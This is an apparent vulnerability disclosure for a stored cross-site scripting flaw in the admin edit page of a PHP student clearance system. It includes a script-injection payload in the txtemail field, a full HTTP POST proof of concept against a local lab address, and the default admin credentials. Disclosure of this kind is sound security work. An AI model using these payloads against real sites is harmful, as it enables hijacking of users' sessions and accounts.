Vulnerability Description

Web-Based Student Clearance System in PHP Free Source Code v1.0 was discovered to contain a cross-site scripting (XSS) vulnerability via the componentedit-admin.php. It is an open source project from https://www.sourcecodester.com/. This vulnerability allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the txtemail parameter.

1. BUG_Author: Tr0e
2. vendors: Web-Based Student Clearance System in PHP Free Source Code;
3. The program is built using the xmapp/v3.3.0 and PHP/8.1.10 version;
4. Vulnerability location: /student_clearance_system_Aurthur_Javis/admin/edit-admin.php

Vulnerability Verification

[+] Payload:

```
"><script>alert(1)</script>
```

POC：

```
POST http://192.168.0.111:91/student_clearance_system_Aurthur_Javis/admin/edit-admin
Host: 192.168.0.111:91
Content-Length: 486
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.0.111:91
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryZuvZCgQkb37Jezph
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, lik
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,
Referer: http://192.168.0.111:91/student_clearance_system_Aurthur_Javis/admin/edit-a
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=e8pdd3dv0b39d1h4vcj99q01cq
Connection: close

------WebKitFormBoundaryZuvZCgQkb37Jezph
Content-Disposition: form-data; name="txtfullname"

EKE, EMMANUEL EFA-EVAL
------WebKitFormBoundaryZuvZCgQkb37Jezph
Content-Disposition: form-data; name="txtemail"

"><script>alert(1)</script>
------WebKitFormBoundaryZuvZCgQkb37Jezph
Content-Disposition: form-data; name="cmddesignation"

Admin
------WebKitFormBoundaryZuvZCgQkb37Jezph
Content-Disposition: form-data; name="btnedit"


------WebKitFormBoundaryZuvZCgQkb37Jezph--
```

How to verify

Build the vulnerability environment according to the steps provided by the source code author (Log in with the default account and password:admin/admin123) and execute the Payload provided above.

The vulnerability lies in the "User Manager - User Record - Action - Edit" function, you shuold inserts Payload when editing administrator user information， as shown in the following figure：